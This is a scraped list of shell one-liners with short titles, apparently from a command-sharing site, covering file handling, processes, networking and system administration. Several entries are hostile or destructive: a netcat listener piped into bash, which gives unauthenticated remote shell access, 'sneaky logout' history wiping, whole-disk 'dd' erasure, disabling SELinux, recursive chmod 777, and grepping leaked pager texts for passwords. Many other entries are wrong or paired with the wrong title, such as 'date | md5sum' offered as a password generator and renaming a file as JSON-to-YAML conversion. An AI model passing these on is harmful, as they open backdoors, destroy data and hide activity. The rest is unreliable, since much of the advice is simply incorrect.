display most recently modified files
ls -l|awk '{print $6,$8}'|sort -d
Send e-mail if host is 'dead' or not reachable
10,30,50 * * * * ping -q -c1 -w3 192.168.0.14 | grep '1 received' - || mail -ne -s'Host 192.168.0.14 not reachable' admin@example.com
download file1 file2 file3 file4 .... file 100
for file in $(seq -f '%03.f' 1 $TOTAL ); do echo "($file/$TOTAL)"; curl -f -O http://domain.com/Name_$file.ext; done
List files with names in quotes.
for i in *; do echo '"'$i'"'; done
Find all IP's in /etc directory
find /etc -exec grep '[0-9][0-9]*[.][0-9][0-9]*[.][0-9][0-9]*[.][0-9][0-9]*' {} \;
make 100 directories with leading zero, 001…100, using bash3.X
mkdir 0{0..9}{0..9};mv 000 100
Kill all Zombie processes one-liner
ps -xaw -o state,ppid | grep Z | grep -v PID | awk '{ print $2 }' | xargs kill -9
List all executable files in the current directory
ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\
Restarting MySql Service
service mysqld restart
Print the ten largest files
ls -Sl * | head
Sharing a file through http 80 port:
nc -w 5 -v -l -p 80 < file.ext
Start Time Sync
/etc/rc.d/init.d/ntpd start
Chmod directories to add executable & read permission to the group safely
sudo chmod -R g=u-w,g+X *
Convert the first character of a string to uppercase
echo 'example' | sed -e 's/^\(.\)/\U\1/'
List the size (in human readable form) of all sub folders from the current location
ls | xargs du -sh
show directory three
find . -type d | sed -e "s/[^-][^\/]*\// |/g" -e "s/|\([^ ]\)/|-\1/"
Enhanced Buffer in order to avoir mistakes with redirections that empty your files
buffer(){ tty -s&&return; d=${1:-/tmp}; tmp=$(mktemp "$d/.b.XXXXXX")||return; trap 'rm -f "$tmp"' EXIT; cat>"$tmp"||{ rm -f "$tmp"; return 1; }; [ -z "$1" ]&&{ cat "$tmp"; rm -f "$tmp"; return 0; }; mv -f "$tmp" "$1"; }
Display helpful information about builtin commands.
help builtin
Delete all files more t han 7 days old
rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`
Create a list of sequential logins
seq -w 100 | sed 's/^/login/'
Creates a minimalist xorg.conf
dpkg-reconfigure -phigh xserver-xorg
copy public key
cat .ssh/id_rsa.pub | ssh user@server 'cat >> ~/.ssh/authorized_keys2'
Empty The Trash
alias trash="rm -fr ~/.local/share/Trash"
#
indicates a comment in shell
Remove packages by pattern on debian and based systems
sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove
shows the space of a folder in bytes ever two seconds.
watch "df | grep /this/folder/"
Clear terminal Screen
tput clear
Clear your history saved into .bash_history file!
echo "" > .bash_history
Do I have this command?
which <command> > /dev/null 2>&1 && echo Success!
Replace text in several files
perl -p -i -e ?s/New/Old/g? *.html
create a big file
dd if=/dev/zero of=/tmp/bigfile bs=1024k count=100
Geo Weather
curl -s http://www.google.com/ig/api?weather=$(curl -s "http://api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)" | grep City | sed 's/City: \(.*\)/\1/' | sed 's/ /%20/g' | sed "s/'/%27/g") | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1\n|'
Get average ping(1) time from a host
ping -qc 10 server.tld | awk -F/ '/^rtt/ {print $5}'
open man page of last used command
man !!
Get the IP address
ip a s eth0 | grep "inet " | head -n 1 | awk '{print $2}' | cut -f1 -d'/'
copy files listed in a text file
(while read fn; do; cp "$fn" $DESTINATION\.; done<filename.txt)
multichar tr string1 'n'
case $!!! Example "in 0) echo usage: $0 pattern ;; *)case $1 in */*)sed ' s,'"$1"',\ ,g';; *) sed ' s/'"$1"'/\ /g' ;;esac;esac;
How many lines in your c project?
wc -l *c
check if your processor is 32 or 64 bit
uname -m
Merge - Concate MP3 files
cat file1.mp3 file2.mp3 > file3.mp3
Execute external code
source filename_script.sh
Hex Dump
cat /dev/ttyS2 | hexdump -C
Display a random man page
man $(/bin/ls /bin | awk '{ cmd[i++] = $0 } END { srand(); print cmd[int(rand()*length(cmd))]; }')
run command with opposite return code
not () { "$@" && return 1 || return 0; }
Reports size of all folders in the current folder. Useful when burning CD's and DVD's
export IFS=$'\n';for dir in $( ls -l | grep ^d | cut -c 52-);do du -sh $dir; done
Replace spaces with newlines
cat file.txt|perl -ne '$_=~s/\s+/\n/g; print $_;'
I/O top equivalent
iotop
omit grep
ps aux | grep [c]ommandname
Find out what is using the bandwidth
nethogs
Generate a Random MAC address
macchanger --random interface
Generate MD5 hash for a string
printf "$string" | md5sum
delete files except some file
find . |more |grep -v filename |xargs rm
To print a specific line from a file
awk '{if (NR == 3) print}' <file>
Fibonacci numbers with awk
gawk '{n=$1;a=0;b=1;c=1;for(i=1;i<n;i++){c=a+b;a=b;b=c};print c}' << eof
bat add copyright info
find . -name "*.c" -exec sed -i "/\/sh/a\####################################\n#Date:2010-05-18\n#Company:XXXXX tech Co.\n#Author:Wangjunling\n#Copyright:gpl\n####################################" {} \;
Delete all firewall rules in a chain or all chains
iptables -F
Remove current directory (REVISED)
removedir(){ read -p "Delete the current directory $PWD ? " human;if [ "$human" = "yes" ]; then [ -z "${PWD##*/}" ] && { echo "$PWD not set" >&2;return 1;}; rm -Rf ../"${PWD##*/}"/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
Read aloud a text file in Mac OS X
say `cat /path/to/textfile.txt`
netstat -p recoded (totaly useless..)
p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*:/, "", $4); if ($4 == "4444") {print $8}}'); for i in $(ls /proc/|grep "^[1-9]"); do [[ $(ls -l /proc/$i/fd/|grep socket|sed -e 's|.*\[\(.*\)\]|\1|'|grep $p) ]] && cat /proc/$i/cmdline && echo; done
Prints tcp and udp connections
netstat -nlput
Get your external IP address
wget -O - -q http://whatismyip.org/
Go to a specified line in a file
vim +143 filename.txt
Learn searching and navigating in man like a boss
man <command> then type h
Show the amount of space left on mounted harddrives
df -h
obtain ip
udhcpc -i eth0
Project Zipped
zip -r -9 /var/www/html/project.zip /var/www/html/project
Generate a random password 32 characters long :)
date | md5sum
remove all CVS directories
find . -type d -name 'CVS' | xargs rm -r
Recursively grep a subdirectory for a list of files
ls -1 static/images/ | while read line; do echo -n $line' '[; grep -rc $line *|grep -v ".svn"|cut -d":" -f2|grep -vc 0| tr "\n" -d; echo -n ]; echo ; done
Periodically loop a command
while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done;
run vlc as root
sed -i 's/geteuid/getppid/g' /usr/bin/vlc
Oracle: set column separator
set colsep "{char}"
Show the size of a directory
du -sh some/directory
3 Simple Steps to X11 Forward on Mac OS X
ssh -X johndoe@123.456.789
View the newest xkcd comic.
xdg-open http://xkcd.com/
Find the process you are looking for minus the grepped one
psg() { ps aux | grep "[${1[1]}]${1[2,-1]}"; }
Find all jpgs on the PC (DOS command)
for %f in (c) do dir %f:\*.jpg /s /p
Move large numbers of files
for f in *; do mv $f <target_path>; done;
show your private/local ip address
ifconfig | grep addr:192 | sed s/Bcast.*// | sed 's/^.*inet addr://'
Convert a bunch of oggs into mp3s
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"
Numerate files, rename files in a directory by incremental number
declare -i i; i=0; for file in *; do i=`expr $i+1`; mv "$file" $i; done;
delete all .svn directory in a directory
rm -rf `find ./ -iname *.svn*`
Numerate files, rename files in a directory by incremental number
declare -i i=0 ; for file in * ; do i=$[$i+1] ; mv "$file" $i; done
Mac OS X command line hilarity
say sofa king great
Recursively grep thorugh directory for string in file.
find directory/ |xargs grep -i "phrase"
kills all processes for a certain program e.g. httpd
ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9
remove all spaces from all files in current folder
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ //g'`; done
convert .rpm to .deb using alien
sudo alien --to-deb Your_PackAge.rpm
A description of internet protocol
man inet
a find and replace within text-based files, for batch text replacement, not using perl
for file in `find . -iname "FILENAME"`; do cat $file | sed "s/SEARCH_STRING/REPLACE_STRING/" > $file.tmp; mv $file.tmp $file; done
Truncate logs in unix
logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done
vi: search string "^~" (unlikley pattern). Useful after search/highlight when you want to drop the highlighting.
/^~
Passwords from 9/11 tragedy pager intercepts (Yeah! Plain text! From wikileaks.net)
while true; do wget -r -l1 --no-clobber -A.txt http://911.wikileaks.org/files/index.html; done; cat *.txt | grep pass
Find files and format them in detailed list
ls -l `locate your_search_here`
Go to the Nth line of file
echo "13" | ed /etc/services
Count your Twit length before posting
echo "<your twit>" | wc -c -
Go to the Nth line of file
head -n 13 /etc/services | tail -n 1
Get the 10 biggest files/folders for the current direcotry
ls -1rSA | tail
Delete all files in current directory that have been modified less than 5 days ago.
find ./ -mtime -5 | xargs rm -f
Fast install software in Ubuntu
alias agi='sudo apt-get install'
unzip all .zip files in /example/directory
cd /example/directory && unzip \*.zip
Tar a subversion working copy…without all those hidden directories!
tar --exclude='.svn' -c -f /path/to/file.tar /path/to/directory
sequence of numbers in a for loop
for f in `jot - 0 50 5` ; do ping -c 1 -m 50 10.0.2.$f ; done
Kill a background job
kill %1
List dot-files and dirs, but not . or ..
ls .??*
Starting the VPN service
sudo service vpnclient_init start
grep: find in files
egrep -in "this|that" *.dat
Remove VIM temp files
find . -name "*~" -exec rm {} \;
See size of partitions
fdisk -l /dev/sda
find a process id by name
ps aux | awk '/name/ {print $2}'
change directory into '//'
cd //
exec option in find
find ~ -mtime +365 -exec mv {} /tmp/mybackup \;
Replace square brackets to underscore in all filenames (current dir.)
perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;'
The 1 millionth fibonacci number
gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> ... SEE SAMPLE OUTPUT FOR FULL COMMAND
Turn off SE Linux
setenforce 0
Push current task to background (paused) and resume it.
Kill a bunch of processes with the same name
ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -9
Completly blank a disk
dd if=/dev/zero of=/dev/hda
Equivalent to ifconfig -a in HPUX
for i in `netstat -rn |grep lan |cut -c55-60 |sort |uniq`; do ifconfig $i; done
Remove the first character of each line in a file
cat files |sed 's/.\(.*\)/\1/'
Helpful alias to grep for the PID.
alias pfind='ps aux | grep '
frnd
$ lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=100003119823986&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
Completly blank a disk
dd if=/dev/urandom of=/dev/somedisk
Get non-printable keycode to bind keys in applications
cat > /dev/null
Lists installed kernels
rpm -qf /lib/modules/*
Access variables inside a - piped while - loop
while read line; do echo $line; done <<< "$var"
Automation click every 4 second on a macro slot bar to world of warcraft for prospecting item
while true; do sleep 4 ; xdotool click 1 ; done
Clear current session history
history -r
convert .daa to .iso
poweriso convert image.daa -o image.iso -ot iso
Listen to the OS X system's voices
for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done
Searching files
find /dir/ -name *name*
Recursive chmod all files and directories within the current directory
find . -exec chmod 777 {} \;
Convert HH:MM:SS into seconds
echo 00:29:36 | nawk -F: '{seconds=($1*60)*60; seconds=seconds+($2*60); seconds=seconds+$3; print seconds}'
Kill a process with its name
pkill $1
View the newest xkcd comic.
echo alias xkcd="gwenview `w3m -dump http://xkcd.com/|grep png | awk '{print $5}'` 2> /dev/null" >> .bashrc
Sudo like a sir
can(){ shift 2; sudo "$@"; }
Get your external IP address
lynx --dump http://ip.boa.nu|sed -e 's/^[[:space:]]*//' -e 's/*[[:space:]]$//'|grep -v ^$
Echo several blank lines
for i in `seq 1 100`;do echo;done
Convert HH:MM:SS into seconds
TZ=GMT date -d "1970/01/01 00:29:36" +%s
Convert HH:MM:SS into seconds
date -ud "1970/01/01 00:29:36" +%s
A faster ls
echo *
Sneaky logout
rm ~/.bash_history && kill -9 $$
Short one line while loop that outputs parameterized content from one file to another
while read col1 col23; do echo $col1; done < three-column.txt > first-column.txt
Echo several blank lines
jot -b '' 100
Selecting a random file/folder of a folder
ls -1 | sort -R | sed -n 's/^/Selected /;1p'
Print just line 4 from a textfile
tail -n +4 | head -n 1
View only non-comment non-empty lines in a configuration file
grep '^[^#]' squid.conf
Read directory contents recursively
ls -R .
Sneaky logout
rm ~/.bash_history; ln -s /dev/null ~/.bash_history
SELinux Status
getenforce
add fn brightness on notebook
sudo update-grub
vim display hex value char under cursor
ga
print crontab entries for all the users that actually have a crontab
for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done
for x in ls -1; do $SOMETHING; done
for x in `ls -1`; do $SOMETHING; done
To print a specific line from a file
tail -n +<N> <file> | head -n 1
Text to ascii art
figlet gunslinger_
Count the total number of files in each immediate subdirectory
ps -ef | grep pmon
Quick setup to list all directory contents by time reversed sort… most recent change last.
alias ltr 'ls -altr'
Output all Files in Directory w/ Details to Filelist
ls -laR > /path/to/filelist
show space used by postgres
while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log
Move files matching a certain pattern to another folder
find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done
Refresh profile file
. ~/.profile
Creating a Maven project
mvn archetype:create -DgroupId=my.work -DartifactId=MyProject
Convert CSV to TSV
perl -pe 's/,/\t/g' < report.csv > report.tsv
ROT13 using the tr command
function rot13 { if [ -r $1 ]; then cat $1 | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; else echo $* | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; fi }
replace text in all files in folder, into subfolder
mkdir replaced;for i in *; do cat "$i"| sed 's/foo/bar/' > "replaced/$i"; done
Puts every word from a file into a new line
egrep -r replacement for UNIX systems
find . -type f | xargs grep -l "string"
Remove lines ending or trailing at least one slash (/)
cat file.txt | grep -v /$ > newfile.txt
kill a process(e.g. conky) by its name, useful when debugging conky:)
killall conky
Use md5 to generate a pretty hard to crack password
echo "A great password" | md5sum
Glutton for punishment
''=~('(?{'.('_/@.*@'^'/])@^`').'"'.('"/_/@]/--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_]_|').',$/})')
Kill a process (in windows)
taskkill /F /FI "USERNAME eq Cicciopalla"
Chmod all directories (excluding files)
chmod 755 $(find public_html -type d)
uname -a
uname -a
search for and kill a process in one blow
ps aux|grep -i [p]rocessname|awk '{ print $2 }'|xargs kill
List files with quotes around each filename
ls | sed 's/.*/"&"/'
Generate random password
dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*'
search and run command in history
!?192
Run a command at a certain time
echo ?ls -l? | at 10am Jul 21
Run a command at a certain time #2
echo ?ls -l? | at midnight
Update Twitter From the Linux Command Line
curl -u user:pass -d status=?I am Tweeting from the shell? http://twitter.com/statuses/update.xml
Read a gzipped text file directly with less.
less textfile.gz
reloads sound when it stop playing
sudo alsa force-reload
Play newest or random YouTube video
oumou sangare
fb
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
Network Information
ntop
glob /mnt
_ff(){ cd /mnt;echo /mnt/*/* |sed 's/ \/mnt\//\&/g' |sed '/'"$1"'/!d'; cd -;}
Forget remembered path locations of previously ran commands
rehash
Add a folder to PATH
export PATH=$PATH:/home/user/my_prog
View process statistics in realtime
top
Kill a process by application
kill -9 `pgrep $PROCESS_NAME`
Check your running Ubuntu version
lsb_release -a
Kill a daemon by name, not by PID
kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}') }; alias kd='kill_daemon
Print a list of installed Perl modules
dpkg-query -W | grep perl
Post to twitter via curl, Windows version
FOR /f %%g in ('echo %1 ^| iconv -f gbk -t utf-8') DO curl -x proxy:port -u user:pass -d status=%%g -d source="cURL" http://twitter.com/statuses/update.xml
sed -n "\(LINE1,\)p;\({LINEA2}q;" "\)FILE"
Printing portion of a big file
Delete a file securely by overwriting its contents
shred -v filename
Random Beeps on Your PC Speaker
dd if=/dev/urandom of=/dev/speaker bs=1
How many lines does the passwd file have?
awk 'END {print NR}' /etc/passwd
Random Beeps on Your Audio Card's Output
dd if=/dev/urandom of=/dev/dsp
doing some math…
echo 1+1|bc
Whois on target and save results to file instantly
x=192.168.1.1; whois $x > $x.txt
Bash logger
echo -en "$USER@$HOSTNAME:${PWD##*/}> ";while read x;do echo $x>>/tmp/log.txt;echo $x|$0 2>&1;echo -en "$USER@$HOSTNAME:${PWD##*/}> ";done
Kill process you don't know the PID of, when pidof and pgrep are not available.
export var1=`ps -A | grep '[u]nique' | cut -d '?' -f 1`; echo${var1/ /}; kill -9 $var1
Concatenate lines of to files, one by one
join file1.txt file2.txt > file3.txt
Refined repository search
apt-get search something | grep specific
Print the matched line, along with the 3 lines after it.
grep -A 3 -i "example" demo_text
One-Liner to Display IP Addresses
python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])"
What is my IP address?
curl whatismyip.org
reverse-print contents of a file
nawk '{line[NR]=$0} END{for (; NR>=1; NR--){print line[NR]}}' FILENAME
detected hardware and boot messages
sudo dmesg
Upload file to remote server using SCP
scp -P 22 /home/svnlabs.txt root@92.178.0.56:/home/svnlabs.txt
Connects to a telnet service monitoring Woot!
telnet zerocarbs.wooters.us
Search for all files that begin with . and delete them.
find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \;
Monitor server load as well as running MySQL processes
watch -n 1 uptime\;myqladmin --user=<user> --password=<password> --verbose processlist
Kill any process with one command using program name
ps -ef | grep [j]boss | awk '{print $2}'|xargs kill -9
Find only *.doc and *xls files on Windows partition
find Documents\ and\ Settings -iregex .+\.doc -or -iregex .+\.xls > office.lst
ps -ef | grep PROCESS | grep -v grep | awk '{system "kill -9" $2}
ps -ef | grep PROCESS | grep -v grep | awk '{system "kill -9" $2}
Create a secure password using /dev/urandom and sha256
pwgen -Bs 10 1
Show All Symbolic (Soft) Links
ls -l | grep ^l
convert DOS newlines to unix newlines
sed 's/$//'
Show line numbers in a text file
cat x
Add a user to a group
useradd -G {group-name} username
Backup a file before editing it.
sedit() { cp "$*"{,.bk}; which $EDITOR > /dev/null && $EDITOR "$*" || vim "$*"; }
Get fresh FollowBack list for Twitter
for a in $(seq 5 8); do cat twit.txt | cut -d " " -f$a | grep "^@" | sort -u; done > followlst.txt
Find out which version of linux you are running
cat /etc/*issue
Check if Fail2Ban is Running
FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$FAIL2BAN" ]; then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $FAIL2BAN; else printf "\n [INFO] Fail2Ban is not running\n\n"; fi
Copy with progress
pv file1 > file2
Update your system every day at the lunch time (12:00)
(crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)
alias to list hidden files of a folder
alias lh='ls -a | egrep "^\."'
Checks your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;
Remove very large or problematic directories under Windows from Command Prompt
rd /S /Q directory
get LAN ip
ifconfig |grep broadcast | awk '{print $2}'
Salty detailed directory listing…
ls -saltS [dirname]
play all songs under current directory smoothly as background job
nice -n0 ls | mpg321 -@- &
read txt or txt.gz files
vim txt.gz
recursively change file name from uppercase to lowercase (or viceversa)
find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \;
Shorthand to install package in Ubuntu
alias install='sudo apt-get install'
Get My Public IP Address
lwp-dump http://www.boredomsoft.org/ip.php|grep Client
Get colorful fortunes
cowsay `fortune` | toilet --metal -f term
command line calculator (zsh version)
python3
calculate the total size of files in specified directory (in Megabytes)
du -h <Directory>
activate bash feature if avail
shopt-set() ... func to long, please refer to description
check4progs(), func to long please refer to description
$ if check4progs cp foo mv bar rsync; then echo "needed progs avail, lets do funky stuff"; else echo "oh oh better abort now"; fi
Print all the lines between 10 and 20 of a file
head -n 20 <filename> | tail
cd(), do a ls (or whatever you can imagine) after a cd, func to long please refer to description
cd(), do a ls (or whatever you can imagine) after a cd, func to long please refer to description
Read directory contents recursively
while read f;do echo "$f";done < <(find .)
Get your external IP address
wget -O - -q ip.boa.nu
That's what she said
!tail
show debian version
cat /etc/debian_version
Klingon programming; weak code must die
gcc -Wall -Werror -o prog prog.c || rm -f prog.c
Open a list of files in VIM using separate terminal windows
find . -name "*.java" -exec gnome-terminal \-x vim {} \;
byobu use
byobu
Find different filetypes in current directory
find . -maxdepth 1 -type f -name '*.sh' -o -name '*.txt'
"Reset" directories permissions
find . -type d -exec chmod 0755 {} \;
copy file.txt to remote server
scp -l username -pw pa33w0rd file.txt 192.168.1.2:/path/to/dir
figlet
figlet -f roman message
sirve para ver la salida de un comando en pantalla y al mismo tiempo guardar la salida en un fichero
find / -name *.conf | tee salida
list with full path
for file in *; do echo $PWD/$file; done
Print only the odd lines of a file
awk '{if (NR % 2 == 1) print $0}' file.txt
optimized sed
sed '/foo/ s/foo/foobar/g' <filename>
kill some pids without specific pid
kill -9 `ps aux | grep "search_criteria" | awk '{if ($2 != pid) print $2}'`
Search for available software on a debian package system (Ubuntu)
aptitude search NAME
Change password in list of xml files with for and sed
for i in `ls *xml`; do sed -e 's,oldpassword,newpassword,g' $i > $i.2 && mv -f $i.2 $i ; done
Get own public IP address
wget -qO- whatismyip.org
Convert JSON to YAML
mv data.{json,yaml}
See a list of ports running
netstat -an | grep -i listen
Wordpress - download latest, extract, and rename config file.
alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/latest.tar.gz && tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.gz wordpress && cp wp-config-sample.php wp-config.php'
Get all IPs via ifconfig
ifconfig | grep "inet [[:alpha:]]\+" | cut -d: -f2 | cut -d' ' -f2
Directory bookmarks
bm () { ... see description }
empty a file
echo > filename
Install NMAP 5.0 ,Short and sweet command to do it
sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar.bz2 | tar xvf - && cd nmap-5.00 && ./configure && make && sudo make install
Look at logs startring at EOF
less +F <file>
cleaning after python
find ~ -name "*.pyc" -exec rm {} \;
reload bash_profile
source ~/.bash_profile
find the difference in 2 files with grep (diff alternative)
grep -vf file1 file2
Running applications require X in ssh
ssh -X -l user 192.168.1.25
Update all packages installed via homebrew
brew update && brew install `brew outdated`
replace strings in file names
for i in $(find . -name *replaceme*);do mv "$i" "${i//replaceme/withme}"; done
List the size (in human readable form) of all sub folders from the current location
find . -maxdepth 1 -type d -not -name . -exec du -sh {} +
recursive remove all htm files
rm -rf `find . -type f -name *.htm`
Get your public IP using chisono.it
curl icanhazip.com
Save a file you edited in vim without the needed permissions
:w!
Creates and Mounts the PSP partition to the folder /media/psp/
mount -t vfat /dev/sdx1 /media/psp/
How to Disable SELinux
echo 0 >/selinux/enforce
Extract all 7zip files in current directory taking filename spaces into account
savesIFS=$IFS;IFS=$(echo -en "\n\b"); for items in `ls *.7z`; do 7zr e $items ; done; IFS=$saveIFS
Listing the Size and usage of the connected Hard Disks
df -H
get kernel version
uname -a
how long system has been running
last reboot
This is a nice way to kill processes.. the example below is for firefox!!! substitute firefox for whatever the process name is…
ps aux | grep -i firefox | grep -v grep | awk '{print $2}' | xargs -t -i kill -9 {}
Speak the last 3 tweets on Mac OS
curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title | sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce
Upload file to remote server using SCP
scp /home/svnlabs.txt root@92.178.0.56:/home/
Search gzipped files
zcat /usr/share/man/man1/grep.1.gz | grep "color"
Check reverse DNS
nslookup {ip}
Install a deb package
sudo dpkg -i packagename.deb
Create a directory and cd into it
Dir=dirname; mkdir $Dir && cd $Dir
Install and run when a command is not found
function command_not_found_handle(){ apt-get install $( apt-file search "$1" | grep bin | grep -w "$1" | head -n1 | cut -d ':' -f 1 ) && $* ; }
remove comment '#' in conf files.
grep -v ^!!! Example "file.conf | grep -v ^$ > new_file.conf
Count a number of files (only files, not dirs) in a directory recursevely
find . -type f | wc -l
alarm central using keyboard as zone inputs ( output spoken out aloud )
watch '/home/mm/bash/keypress.sh |/home/mm/bash/evento.sh'
Search for the file and open in vi editor.
vifind() { vi `find . -name "$1"` }
dd and ssh
dd if=/dev/zero bs=1M | ssh somesite dd of=/dev/null
renombrar un archivo que inicia con guion
find . -name "-help" -exec mv {} help.txt \;
kill all instances of an annoying or endless, thread-spawning process
ps auxwww | grep outofcontrolprocess | awk '{print $9}' | xargs kill -9
Display command options without typing –help
<Ctrl+o>
Save and quit the easy way
Shift ZZ
Cute, but we already had this figured out when the Linux kids were still slurping down log-sized spliffs in the back of the microbus.
ssh-keygen -R hostname
ettercap manual
man ettercap
Read, sort and confirm uniqueness of entries in files and directories
sort -u filename > newfilename
Recursive chmod all files and directories within the current directory
find . -name "*" -print0 | xargs -0 -I {} chmod 777 {}
Print just line 4 from a textfile
tail -n 4 | head -n 1
Show the last movie/ebook that you have saw/read
ls -lAhutr
Kill a naughty process
killall -9 wineserver
Complete Distro information
lsb_release -a
Sneaky logout
export HISTFILE=/dev/null && kill -9 $$
Search Google from the command line and return the first result.
The command is too big to fit here. :( Look at the description for the command, in readable form! :)
Compile all C files in a directory
ls *.c | while read F; do gcc -Wall -o `echo $F | cut -d . -f 1 - ` $F; done
Prefetch like apple devices
sudo apt-get install preload
Create a tar.gz in a single command
tar cvf - foodir | gzip > foo.tar.gz
create one md5 for all files in folder
tar c folderName | md5
Clean upgrade of Ubuntu
sudo sh -c "apt-get update;apt-get dist-upgrade;apt-get autoremove;apt-get autoclean"
installing sublime-text-2 on Ubuntu 10.04
sudo -i; add-apt-repository ppa:webupd8team/sublime-text-2; apt-get update; apt-get install sublime-text-2
Equivalent of alias in cmd.exe: doskey (macros)
doskey l=dir /OD $*
Performance Monitor: Windows 2000, XP
perfmon.msc
Check syntax of cron files (by restarting the service and checking the logs)
/etc/init.d/cron restart && tail -100 /var/log/syslog
Private Character Editor (Windows 2000+XP)
eudcedit
download a specific file
curl -f -O http://pcbsd.fastbull.org/7.0.2/i386/PCBSD7.0.2-x86-DVD.iso
Download all files under http://codeigniter.com/user_guide/ to the current directory
svn co http://svn.ellislab.com/CodeIgniter/trunk/user_guide
Simple calculus
read c; while [ -n "$c" ]; do clear; echo -e "$c = "$(echo "$c" |bc -l)"\n"; read c; done
Edit Crontab
crontab -e
Edit Crontab
vi ~/.crontab && crontab ~/.crontab
Flip from one directory to another
cd -
Kill all processes matching a given name
ps axww | grep SomeCommand | awk '{ print $1 }' | xargs kill
Go to the created directory after using mkdir
mkdir() { /bin/mkdir $@ && eval cd "\$$#"; }
Altera texto dentro dos arquivos retornados pelo comando 'find' (find and replacing strings on all files in directory)
find ./wp-content/themes/rotce2009/ -name '*.php' -type f | xargs sed -i 's/<? /<?php /g'
Execute commands on files found by the find command
find -iname "MyCProgram.c" -exec md5sum {} \;
Copy all images to external hard-drive
ls *.jpg | xargs -n1 -i cp {} /external-hard-drive/directory
Display which distro is installed
test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release || uname -rms )
remove all dead symbolic links in a directory
for i in $(file * | grep broken | cut -d : -f 1); do rm $i; done
Create a Bash command server - You can send it scripts or commands to execute
while ( nc -l 1025 | bash &> : ) ; do : ; done &
(windows) Append date and Time to a file name use ren temp.txt instead of echo
echo tmp%date:~4,2%-%date:~7,2%-%date:~10,4%_%time%
Recursively remove .svn directories
ls -RAx | grep "svn:$" | sed -e "s/svn:/svn/" | xargs rm -fr
Remove "#' from configuration files.
sed -i -e 's/^#$//g' /path/to/file
Make a list of files, folders and subfolders from windows command prompt
dir /ad /s /b
Reconstruct standard permissions for directories and files in current directory
for i in `find .`; do [ -d $i ] && chmod 755 $i || chmod 644 $i; done
Chown script
#!/bin/sh for dir in `ls -A | grep -v .sh`; do chown -R $dir:$dir $dir done
Bash help
help
Pretty print output of
ps -ef | awk -v OFS="\n" '{ for (i=8;i<=NF;i++) line = (line ? line FS : "") $i; print NR ":", $1, $2, $7, line, ""; line = "" }'
List files contained within a zip archive
unzip -l <filename>
Returns the absolute path to a command, using which if needed
which any_path/a_command.sh | sed "s|^./|$(pwd)|"
compare three file
diff3 -a file1 file2 file3
kill process by name
killall -9 <processname>
to paste the copied text from clip board
<ctrl+shift+v>
Remove all zero size files from current directory (not recursive)
ls -s|grep -E "^ *0"|sed "s/^ *0 //g"|xargs -i rm "{}"
emptying a file
cat /dev/null >filename
Creating ISO Images from Audio CD
cat /dev/scd0 > ~/audio_image.iso
analyze traffic remotely over ssh w/ wireshark
sudo ssh -Y remoteuser@remotehost sudo wireshark
Read directory contents recursively
find . |while read f;do echo "$f";done
List running procceses
ps -e
Start a new shell as root
sudo su
"Reset" file permissions
find . -type f -exec chmod 0644 {} \;
Lists installed kernels
rpm -qa kernel
The single most useful thing in bash
vim ~/.inputrc
list with full path
for file in * .*; do echo $PWD/$file; done
Move all files with common extension to current directory
mv `find .zip ./` .
ls -lR with a full path
tar -cvf /dev/null . | while read i; do ls -l $i; done
Convert JSON to YAML
cat data.json >data.yml
List all file and directory on user's home with details
ls /home/user | xargs ls -lhR | less
before writing a new script
{ echo -n '#!'; which bash; } > script.sh
Various git commands
alias g='git'
get current tty name
who am i
use .ssh file to login the server
ssh root@172.16.1.99 -i my_openssh_key.ssh -p 9999
extract .ace file
